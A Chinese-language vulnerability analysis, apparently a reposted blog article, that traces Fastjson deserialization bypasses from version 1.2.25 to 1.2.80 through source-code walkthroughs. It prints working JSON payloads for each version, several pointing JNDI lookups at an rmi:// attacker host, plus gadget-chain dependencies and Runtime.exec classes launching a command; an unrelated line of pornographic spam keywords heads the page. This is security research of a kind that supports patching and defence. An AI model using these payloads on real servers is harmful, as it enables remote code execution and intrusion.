国产 无码 综合区,色欲AV无码国产永久播放,无码天堂亚洲国产AV,国产日韩欧美女同一区二区

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

這篇具有很好參考價值的文章主要介紹了Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)。希望對大家有所幫助。如果存在錯誤或未考慮完全的地方,請大家不吝賜教,您也可以點擊"舉報違法"按鈕提交疑問。

目錄

<=1.2.25fastjson反序列化注入

<=1.2.42fastjson反序列化注入

<=1.2.43fastjson反序列化注入

<=1.2.45fastjson反序列化注入

1.2.46fastjson反序列化注入

<=1.2.47fastjson反序列化注入

1.2.48fastjson反序列化注入

<=1.2.62fastjson反序列化注入

?<=1.2.66fastjson反序列化注入

<=1.2.67fastjson反序列化注入

<=1.2.68fastjson反序列化注入

<=1.2.80fastjson反序列化注入

在之前我們分析了1.2.24反序列化漏洞的TemplatesImpl利用鏈,如果感興趣可以去看看 ,這里我們從1.2.25開始。

1.2.24 Fastjson反序列化TemplatesImpl利用鏈分析(非常詳細)_糊涂是福yyyy的博客-CSDN博客

<=1.2.25fastjson反序列化注入

在Fastjson1.2.25中使用了checkAutoType來修復1.2.22-1.2.24中的漏洞,同時增加了黑白名單。我們跟進代碼可以看到在276行使用了checkAutoType。跟進checkAutoType看看里面代碼如何執(zhí)行。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

在checkAutoType里面會大概分成四種情況,第一種是開啟autoTypeSupport,需要判斷是否在白名單里面,在就直接加載類,不在就接著判斷是否在黑名單里面,在黑名單里面就直接拋出異常。第二種會去緩存里面尋找類。第三種關閉autoTypeSupport,需要判斷是否在黑名單里面,在黑名單里面就直接拋出異常。不在黑名單里面就接著判斷是否在白名單里面,在白名單就直接加載類。第四種開啟autoTypeSupport,直接加載類。其實就是說不管是開啟還是關閉autoTypeSupport都會進行黑白名單過濾,只不過先后區(qū)別。

    public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
        if (typeName == null) {
            return null;
        } else {
            String className = typeName.replace('$', '.');
            if (this.autoTypeSupport || expectClass != null) {
//1.開啟autoTypeSupport,進行先白后黑名單過濾,存在白名單直接加載類
                int i;
                String deny;
                for(i = 0; i < this.acceptList.length; ++i) {
                    deny = this.acceptList[i];
                    if (className.startsWith(deny)) {
                        return TypeUtils.loadClass(typeName, this.defaultClassLoader);
                    }
                }

                for(i = 0; i < this.denyList.length; ++i) {
                    deny = this.denyList[i];
                    if (className.startsWith(deny)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }
                }
            }

            Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
            if (clazz == null) {
                clazz = this.deserializers.findClass(typeName);
//2.在mapping和deserializers緩存里面尋找類
            }

            if (clazz != null) {
                if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                } else {
                    return clazz;
                }
            } else {
                if (!this.autoTypeSupport) {
//3.autoTypeSupport關閉情況下,先黑名單在白名單過濾,在白名單里面就加載類
                    String accept;
                    int i;
                    for(i = 0; i < this.denyList.length; ++i) {
                        accept = this.denyList[i];
                        if (className.startsWith(accept)) {
                            throw new JSONException("autoType is not support. " + typeName);
                        }
                    }

                    for(i = 0; i < this.acceptList.length; ++i) {
                        accept = this.acceptList[i];
                        if (className.startsWith(accept)) {
                            clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                            if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                            }

                            return clazz;
                        }
                    }
                }

                if (this.autoTypeSupport || expectClass != null) {
//4.開啟autoTypeSupport,直接加載類。
                    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
                }

                if (clazz != null) {
                    if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
                        throw new JSONException("autoType is not support. " + typeName);
                    }

                    if (expectClass != null) {
                        if (expectClass.isAssignableFrom(clazz)) {
                            return clazz;
                        }

                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                }

                if (!this.autoTypeSupport) {
                    throw new JSONException("autoType is not support. " + typeName);
                } else {
                    return clazz;
                }
            }
        }
    }

下面是黑名單,而我們的利用鏈com.sun.rowset.JdbcRowSetImpl是在這個黑名單里面的。我們需要對我們的playload進行簡單的改變才能繞過黑名單。

"bsh"
"org.apache.commons.collections.functors"
"javax.xml"
"org.apache.commons.fileupload"
"com.sun."
"org.apache.tomcat"
"org.springframework"
"java.lang.Thread"
"org.codehaus.groovy.runtime"
"org.apache.commons.beanutils"
"org.apache.commons.collections.Transformer"
"org.apache.wicket.util"
"java.rmi"
"java.net.Socket"
"com.mchange"
"org.jboss"
"org.hibernate"
"org.mozilla.javascript"
"org.apache.myfaces.context.servlet"
"org.apache.bcel"
"org.apache.commons.collections4.comparators"
"org.python.core"

1.2.25Fastjson默認autoTypeSupport是不開啟的,我們可以通過代碼手動開啟autoTypeSupport。

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

構造的playload如下,使用playload1。


String str4={\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";//playload 1
String str4={\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";//playload 2

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)因為我們手動開啟autoTypeSupport所以該playload在checkAutoType方法里面會走第一種情況,并且會通過黑名單檢測,然后會在第四種情況里面直接加載類,但是我們的類名Lcom.sun.rowset.JdbcRowSetImpl;是如何變成com.sun.rowset.JdbcRowSetImpl。這里我們需要進入到loadclass里面看看。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

在loadclass方法里面會進行判斷,第一種情況判斷如果傳入進來的類名第一個字符是[,那么會取出后面的值進行后面的代碼執(zhí)行。第二種情況判斷如果我們的類名以L開頭且以;結尾,那么就會取出其中間作為新的類名。我們的playload是滿足第二種情況的。所以我們的惡意類com.sun.rowset.JdbcRowSetImpl就可以加載了。如果是使用playload2 就會滿足第一種情況,也能成功加載惡意類。

上述方法條件是必須開啟autoTypeSupport,不然會導致失敗。

<=1.2.42fastjson反序列化注入

需要開啟autoTypeSupport

在1.2.42版本中,黑白名單采用了hash值,如果你傳進來的的類名頭和尾是L;,那么會對你進行一次去頭去尾,再進行黑白名單校驗,有開發(fā)人員破解處理黑白名單,工具在這個鏈接。GitHub - LeadroyaL/fastjson-blacklist

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

?所以我們構造如下playload:

String str4="{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";

我們雙寫LL;;這樣我們即使去掉一次L;我們還剩一組就可以繞過黑名單檢測,然后在loadclass方法里面提取出L;中間的值加載對應的類。

<=1.2.43fastjson反序列化注入

需要開啟autoTypeSupport

在1.2.43版本中在checkAutoType方法里面對連續(xù)出現(xiàn)兩個類描述符直接拋異常,所以想要通過L;來繞過黑名單是不可能的。這個時候我們需要想其他辦法來繞過黑名單檢測,這里就得提到我們在上面分析loadclass方法,可以看到在loadclass方法里面當我們得類名是以[開頭,我們是取[后面的值進行類加載。但是我們在構造playload的時候卻多了[{。有的同學可能對于playload為何那樣構造不是很明白。那我們一起分析以下。

首先我們按照常規(guī)思路構造如下playload:

String str4="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";

當我們運行代碼時候會報錯,并且會提示你在42這個位置缺少一個[,報錯得位置是com.alibaba.fastjson.parser.DefaultJSONParser.parseArray。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

?上面playload會繞過checkAutoType方法里面的黑名單,所以我們執(zhí)行完checkAutoType方法會進入deserialze方法里面,在151行執(zhí)行parseArray方法,進入其中。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

?Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

?該方法里面會有一個token得檢測,如果不是等于14就會拋出異常,我們的token是16。那token是在那里設置為16呢。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

回溯代碼發(fā)現(xiàn)在執(zhí)行完checkAutoType方法后調(diào)用nextToken()方法,傳入的參數(shù)是16。我們進入看看是如何設置token。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

因為傳入得參數(shù)是16所以直接來到309行,因為我們?nèi)⊥觐惷?,現(xiàn)在當前的jason數(shù)據(jù)是逗號,所以滿足條件將token設置為16。當我們在逗號前面加一個[,該值不滿足case16里面所有條件,但是滿住337行if條件,所以執(zhí)行nextToken()方法,參數(shù)為空。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

?該方法會將當前值和各種值進行比較,當當前值是 [ 的時候就將token設置為14。所以我們需要在playload里面額外加一個[。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

當我們playload如下的時候又會出現(xiàn)報錯,報錯信息提示我們還需加一個{,報錯位置在JavaBeanDeserializer.deserialze。

String str4="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,\"dataSourceName\":\"rmi://x1x.xx.xx2.xx3:9999/Exp\", \"autoCommit\":true}";

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

因為我們添加了[所以順利通過parseArray方法里面的token是否等于14的檢測,這時候我們在添加{,代碼會順利執(zhí)行到parseArray方法,在該方法的670行進行一次token值得變更,當當前值是 { tonken變成12。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

接著執(zhí)行代碼進入714行deserialze方法里面,該方法會對token值進行判斷。Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

在395行可以看到判斷token是否不等于12且不等于16,當我們加上{,我們的token值是12的,所以該條件就不滿足。就會走else代碼,往下執(zhí)行就會觸發(fā)漏洞。Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

如果我們不添加 { ,同樣在parseArray方法里面的670行進行一次token值得變更,因為當前值是逗號就會執(zhí)行338行nextToken()方法。token值變成16。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

我們parseArray方法里面拿到token返回值16,執(zhí)行681行滿足條件,又再次設置token值。這次token返回值是4。這個大家可以自己進入看看代碼如何執(zhí)行的。然后我們就和上面一樣進入714行deserialze方法里面。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

這里和上面情況不一樣token值不等于12也不等于16,所以進入if語句里面。會進行以下判斷,判斷輸入值是否是空值等等,最后來到433行拋出異常。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

?所以我們在1.2.43 fastjson版本觸發(fā)反序列化漏洞,需要構造如下形式的playload:

String str4="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"rmi://xxx.xx.xx.xx:9999/Exp\", \"autoCommit\":true}";

<=1.2.45fastjson反序列化注入

需要開啟autoTypeSupport

在1.2.45版本中修復了1.2.44版本漏洞,在checkAutoType方法里面添加對[字符的檢測。不過在該版本中發(fā)現(xiàn)新的利用鏈,該利用鏈不在黑名單里面。但是需要目標服務器存在mybatis包,且版本未3.x.x至小于3.5.0。

需要我們在pom.xml里面引入mybatis包

        <dependency>
            <groupId>org.mybatis</groupId>
            <artifactId>mybatis</artifactId>
            <version>3.3.0</version>
        </dependency>

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

?構造如下playload:

 String str4="{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://xx.xxx.xxx.xx:9999/Exp\"}}";

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

該利用鏈主要是調(diào)用了setProperties方法里面的lookup方法。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

1.2.46fastjson反序列化注入

該版本將org.apache.ibatis.datasource.jndi.JndiDataSourceFactory加入黑名單,修復了1.2.45版本的漏洞。

<=1.2.47fastjson反序列化注入

不需要開啟autoTypeSupport

在1.2.47版本中,通過利用類緩存機制(通過java.lang.Class類提前帶入惡意類并緩存到 TypeUtils.mappings 中),可以在不開啟 AutoTypeSupport 的情況下進行反序列化的利用。

我們需要構造以下playload。

String str4="{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://1xx.56.xx.xxx:9999/Exp\",\"autoCommit\":true}}}";

第一次的時候我們?nèi)〕鰜淼膋ey值是a,不是@type,所以我們執(zhí)行到488行,第二次調(diào)用parseObject方法,取出@type進入到checkAutoType。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

因為沒有開啟autoTypeSupport,會先去mapping緩存尋找java.lang.Class,沒有找到。再去deserializers緩存尋找,找到了賦值給clazz,返回clazz。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

?拿到clazz,進入到deserializer方法里面,在deserializer方法里面調(diào)用parse方法。在這之前需要zai 223行判斷健是否是val。不然會拋出異常。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

執(zhí)行String stringLiteral = lexer.stringVal()代碼,將健是val的值賦值給stringLiteral變量。由我們的playload可知我們的val健對應的值就是我們的惡意類com.sun.rowset.JdbcRowSetImpl。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

?拿到我們的惡意類回到deserializer方法里面,將值再賦值給strVal變量。Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

接下來就是判斷clazz的類型,clazz是一個class對象。執(zhí)行l(wèi)oadClass方法加載類。而傳進去的類名是strVal,也就是我們的惡意類。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)?程序通過contextClassLoader.loadClass(className);方法從字符串類型className變量("com.sun.rowset.JdbcRowSetImpl")獲取到com.sun.rowset.JdbcRowSetImpl類對象,并賦值給clazz變量。此時的className、clazz變量形式如下圖,接著將className、clazz鍵值對加入mappings合集

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

??在我們的第一個json字符串解析完成后,程序隨后會解析我們第二個json字符串,解析過程與第一個完全一樣,當取到第二個@type的時候會進入checkAutoType方法中從mapping緩存中拿到我們的com.sun.rowset.JdbcRowSetImpl類對象,就會觸發(fā)漏洞。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

1.2.48fastjson反序列化注入

該版本修復了1.2.47漏洞點,在執(zhí)行l(wèi)oadclass方法時候第三個參數(shù)cache的值是false。當其值為false就不會執(zhí)行mappings.put(className, clazz),我們的惡意類對象就不會添加到mapping緩沖里面。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

<=1.2.62fastjson反序列化注入

需要開啟autoTypeSupport

1.2.62發(fā)現(xiàn)新的利用鏈,該利用鏈不在黑名單里面,該利用鏈需要目標服務器存在xbean-reflect包

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

構造如下playload?

String str4 = "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"rmi://xx.xx.x.xx:5555/Exp\"}"

該利用鏈主要調(diào)用了setAsText方法,該方法里面調(diào)用了lookup方法。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

?<=1.2.66fastjson反序列化注入

需要開啟autoTypeSupport

1.2.62發(fā)現(xiàn)三個可用的利用鏈,這些利用鏈都不在黑名單里面。

  • org.apache.shiro.jndi.JndiObjectFactory類需要shiro-core包;
  • br.com.anteros.dbcp.AnterosDBCPConfig類需要Anteros-Core和Anteros-DBCP包;
  • com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig類需要ibatis-sqlmap和jta包

我們以org.apache.shiro.jndi.JndiObjectFactory類為例,pom.xml引入依賴包

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

?構造如下playload:

String str4 = "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"rmi://x.x.x.x:5555/Exp\"], \"Realms\":[\"\"]}";

該利用鏈先調(diào)用了setJndiNames方法,對jndiNames進行賦值,在調(diào)用getRealms方法里面的lookup方法。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

?br.com.anteros.dbcp.AnterosDBCPConfig類POC:

String str4 = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"rmi://x.x.x.x:5555/Exp\"}";
String str4 = "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"rmi://x.x.x.x:5555/Exp\"}";

pom.xml引入依賴包

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

        <dependency>
            <groupId>br.com.anteros</groupId>
            <artifactId>Anteros-Core</artifactId>
            <version>1.2.6</version>
        </dependency>
        <dependency>
            <groupId>br.com.anteros</groupId>
            <artifactId>Anteros-DBCP</artifactId>
            <version>1.0.1</version>
        </dependency>

該利用鏈調(diào)用healthCheckRegistry方法里面的getObjectOrPerformJndiLookup方法里面的lookup方法。另外一個參數(shù)和healthCheckRegistry是一樣的。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

???Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig類POC:

 String str4 = "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"rmi://x.x.x.x:5555/Exp\"}}";

pom.xml引入依賴包

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

        <dependency>
            <groupId>org.apache.ibatis</groupId>
            <artifactId>ibatis-sqlmap</artifactId>
            <version>2.3.4.726</version>
        </dependency>
        <dependency>
            <groupId>javax.transaction</groupId>
            <artifactId>jta</artifactId>
            <version>1.1</version>
        </dependency>

?該利用鏈調(diào)用setProperties方法里面的lookup方法。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

<=1.2.67fastjson反序列化注入

需要開啟autoTypeSupport

1.2.62發(fā)現(xiàn)兩個可用的利用鏈,這些利用鏈都不在黑名單里面。

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup類PoC:

String str4 = "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\"jndiNames\":\"rmi://x.x.x.x:5555/Exp\",\"tm\": {\"$ref\":\"$.tm\"}}";

該利用鏈需要ignite-core、ignite-jta和jta依賴,pom.xml引入以下依賴包

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup類PoC中后面那段的{"$ref":"$.tm"},實際上就是基于路徑的引用,相當于是調(diào)用root.getTm()函數(shù),即循環(huán)引用來調(diào)用了tm字段的getter方法了。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

?org.apache.shiro.jndi.JndiObjectFactory類PoC:

String str4 ="{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"rmi://x.x.x.x:5555/Exp\",\"instance\":{\"$ref\":\"$.instance\"}}";

該利用鏈需要shiro-core和slf4j-api依賴,pom.xml引入以下依賴包

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

<=1.2.68fastjson反序列化注入

不需要開啟autoTypeSupport

1.2.68修復了1.2.67反序列化漏洞,該漏洞和之前1.2.47相似點就是不需要開啟autoType也能導致反序列漏洞產(chǎn)生,但這個漏洞不能做到1.2.47那樣通用,還是有一些限制條件的。首先我們先建一個haha.java

import java.io.IOException;

public class haha implements AutoCloseable{

    public haha(String cmd){
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }

    }
    public void close() throws Exception {

    }
}

具體poc如下,下面會講述為什么這么構建。

String str4 = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"haha\",\"cmd\":\"calc\"}";

因為在1.2.68版本中我們在不開啟autoType,繞過checkAutoType的安全檢測,是因為我們利用它的第二個參數(shù)expectClass。我們跟進代碼看看如何繞過的。首先我們進入第一次checkAutoType,我們傳入的類是java.lang.AutoCloseable,這個類要求是能在緩存里面找到,且不在黑名單里面。這個我們就不調(diào)試了,和我們1.2.47第一次調(diào)試差不多。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

我們執(zhí)行代碼來到377行,進入其中

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

該方法里面會繼續(xù)向后取值,取到@type會再次執(zhí)行一次checkAutoType方法,這里我們需要進行看一下。且這個時候第二個參數(shù)expectClass的值是interface?java.lang.AutoCloseable。這次expectClass參數(shù)不為空哦。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

首先會判斷expectClass參數(shù)是否為空,不為空是否不等于Object.class、Serializable.class、Cloneable.class、Closeable.class、EventListener.class、Iterable.class、Collection.class,如果條件成立將expectClassFlag設置為true,顯然該值為true。后面就是對于我們自定義的類haha進行黑白名單校驗,以及緩存尋找。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

?最主要是這里,如果if語句里面有一個條件滿足就會調(diào)用loadClass方法,從上文知第三條件是true。Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

??????繼續(xù)執(zhí)行代碼在1124行會判斷expectClass該參數(shù)是否不為空,class haha是否是interface?java.lang.AutoCloseable的子類。如果成立就將haha添加到緩存里面去。這樣后續(xù)就和1.2.47一樣的了。Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

?解答POC:

我們主要是利用expectClass這個參數(shù),

第一點:這個參數(shù)需要在緩存里面能找到,不然你第一個檢測返回值就是空。

第二點:這個類的子類需要有漏洞點,不然你在反序列過程不會觸發(fā)漏洞。但是在這里我們?yōu)榱烁醚菔?,我們的子類是自己構造的?,F(xiàn)實中這個子類需要自己找,所以利用面沒有1.2.47廣。

第三點:為啥我們用java.lang.AutoCloseable這個類,是因為它在緩存中,AutoCloseable(即其子類對象)持有文件句柄或者socket句柄,所以它是很多類型的父接口(比如xxxStream、xxxChannel、xxxConnection)。因此即便無法找到RCE gadget,也可以找到實現(xiàn)文件讀取或寫入的gadget,從而可以根據(jù)目標環(huán)境實際情況串出RCE。具體playload參考下面連接。

參考:Fastjson反序列化高危漏洞系列-part2:1.2.68反序列化漏洞及利用鏈分析 (上)_n0body-mole的博客-CSDN博客_fastjson1.2.68反序列化漏洞
那除了我們在734 行使用expectClass這個參數(shù)。我們還有一個地方也使用,不過它利用價值不大。我們會利用Throwable類。實際上很少有異常類會使用到高危函數(shù),所以目前還沒見有公開的可針對Throwable這個利用點的RCE gadget。

我們可以依賴selenium導致信息泄露。

首先導入selenium依賴:

        <dependency>
            <groupId>org.seleniumhq.selenium</groupId>
            <artifactId>selenium-api</artifactId>
            <version>4.1.1</version>
        </dependency>

POC如下:

String str4 = "{\"x\": {\"@type\":\"java.lang.Exception\", \"@type\":\"org.openqa.selenium.WebDriverException\"}, \"y\":{\"$ref\":\"$x.systemInformation\"}}";

其中,org.openqa.selenium.WebDriverException類的getMessage()方法和getSystemInformation()方法都能獲取一些系統(tǒng)信息,比如:IP地址、主機名、系統(tǒng)架構、系統(tǒng)名稱、系統(tǒng)版本、JDK版本、selenium webdriver版本。另外,還可通過getStackTrace()來獲取函數(shù)調(diào)用棧,從而獲悉使用了什么框架或組件。

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

<=1.2.80fastjson反序列化注入

不需要開啟autoTypeSupport

1.2.80和1.2.68的原理是一樣的只不過利用了Throwable類,之前1.2.68使用JavaBeanDeserializer序列化器,1.2.80使用ThrowableDeserializer反序列化器,前者是默認反序列化器,后者是針對異常類對象的反序列化器。實際上很少有異常類會使用到高危函數(shù),所以目前還沒見有公開的可針對Throwable這個利用點的RCE gadget。

我們構建惡意類


import java.io.IOException;

public class CalcException extends Exception {
    public void setName(String str) {
        try {
            Runtime.getRuntime().exec(str);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

POC:

String str4 = "{\"@type\":\"java.lang.Exception\",\"@type\":\"CalcException\",\"name\":\"calc\"}";

這個就不去調(diào)試了。要注意的是,由于java.lang.Throwable這個類不在緩存集合TypeUtils#mappings中,所以未開啟autoType的情況下,這個類是不能通過ParserConfig#checkAutoType()的校驗的。這里在JSON字符串中使用它的一個子類java.lang.Exception,因為java.lang.Exception是在緩存集合TypeUtils#mappigns中的。

總結:除了1.2.47,1.2.68以及1.2.80出現(xiàn)的漏洞不需要開啟autoTypeSupport,其他版本都需要開啟autoTypeSupport。當我們在使用JNDI+RMI或者JNDI+LdAP,需要注意JDK版本

Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)

?文章來源地址http://www.zghlxwxcb.cn/news/detail-420186.html

到了這里,關于Fastjson歷史反序列漏洞分析(1.2.24-1.2.80)的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網(wǎng)!

本文來自互聯(lián)網(wǎng)用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。如若轉載,請注明出處: 如若內(nèi)容造成侵權/違法違規(guī)/事實不符,請點擊違法舉報進行投訴反饋,一經(jīng)查實,立即刪除!

領支付寶紅包贊助服務器費用

相關文章

  • Fastjson反序列化漏洞(1.2.24 RCE)

    Fastjson反序列化漏洞(1.2.24 RCE)

    目錄 (一)Fastjson介紹 1、認識Fastjson 1.1?序列化 1.2??反序列化 1.3?@type 自省 Autotype (二)漏洞原理 1、比較常用的攻擊類 1.1??com.sun.rowset.JdbcRowSetImpl 1.2?com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp (三)1.2.24 RCE復現(xiàn) 1、vulnhub啟動 注意:Linux配置JRE版本 2、攻擊機監(jiān)聽(

    2024年02月07日
    瀏覽(31)
  • Apache Apisix網(wǎng)關系統(tǒng)歷史漏洞復現(xiàn)分析

    Apache Apisix網(wǎng)關系統(tǒng)歷史漏洞復現(xiàn)分析

    Apache APISIX 是一個動態(tài)、實時、高性能的 API 網(wǎng)關, 提供負載均衡、動態(tài)上游、灰度發(fā)布、服務熔斷、身份認證、可觀測性等豐富的流量管理功能。 開源項目地址:https://github.com/apache/apisix; 官方文檔地址:https://apisix.apache.org/zh/docs/apisix/getting-started/README/; 你可以把 Apache

    2024年02月19日
    瀏覽(23)
  • java反序列化漏洞分析

    Java反序列化漏洞(Java Deserialization Vulnerabilities)是一種常見的安全漏洞,其攻擊方式是利用Java中的序列化和反序列化機制,通過在序列化數(shù)據(jù)中插入惡意代碼,導致反序列化過程中執(zhí)行惡意代碼。本文將介紹Java反序列化漏洞的原理、攻擊方式和防范措施。 一、Java序列化和

    2024年02月13日
    瀏覽(41)
  • XStream反序列化漏洞分析

    XStream反序列化漏洞分析

    把之前看的XStream反序列化漏洞分析過程做個筆記,從前期JAVA的代理模式動態(tài)代理基礎知識到XStream解析流程都有記錄。 代理是設計模式中的一種,代理類為委托類提供消息預處理、消息轉發(fā)、事后消息處理等功能,JAVA中代理分為三種角色:代理類、委托類、接口。 以上的定

    2024年02月13日
    瀏覽(27)
  • 利用Linux目錄結構特性引發(fā)的解析漏洞分析

    利用Linux目錄結構特性引發(fā)的解析漏洞分析

    本文通過對Linux目錄結構的特性和解析漏洞的分析,結合源碼審計的過程,探討了SESSION值的設置,正則表達式的匹配以及文件寫入等技術,幫助讀者深入理解此類漏洞的產(chǎn)生、原理和防范方法。

    2024年02月06日
    瀏覽(45)
  • 【新】通達OA前臺反序列化漏洞分析

    0x01 前言 注:本文僅以安全研究為目的,分享對該漏洞的挖掘過程,文中涉及的所有漏洞均已報送給國家單位,請勿用做非法用途。 通達OA作為歷史上出現(xiàn)漏洞較多的OA,在經(jīng)過多輪的迭代之后已經(jīng)很少前臺的RCE漏洞了。一般來說通達OA是通過auth.inc.php文件來進行鑒權,如圖

    2024年02月14日
    瀏覽(24)
  • 網(wǎng)絡安全之反序列化漏洞分析

    網(wǎng)絡安全之反序列化漏洞分析

    FastJson 是 alibaba 的一款開源 JSON 解析庫,可用于將 Java 對象轉換為其 JSON 表示形式,也可以用于將 JSON 字符串轉換為等效的 Java 對象分別通過 toJSONString 和 parseObject/parse 來實現(xiàn)序列化和反序列化。 使用 對于序列化的方法 toJSONString() 有多個重載形式。 SerializeFeature : 通過設置

    2024年02月08日
    瀏覽(22)
  • Java反序列化漏洞-URLDNS鏈分析

    Java反序列化漏洞-URLDNS鏈分析

    目錄 一、前置知識 反射 二、分析 1. URL 2. HashMap 3. 解決一些問題 反射修改字段值 三、POC 四、利用鏈 菜鳥教程 Java 序列化 Java安全-反射 URLDNS鏈的作用就是在目標主機中可能存在反序列化輸入的數(shù)據(jù)的地方,傳入序列化后的URLDNS利用鏈,如果目標主機解析了這個URL地址,那么

    2024年02月04日
    瀏覽(23)
  • Laravel 9.1.8 反序列化漏洞分析及復現(xiàn)

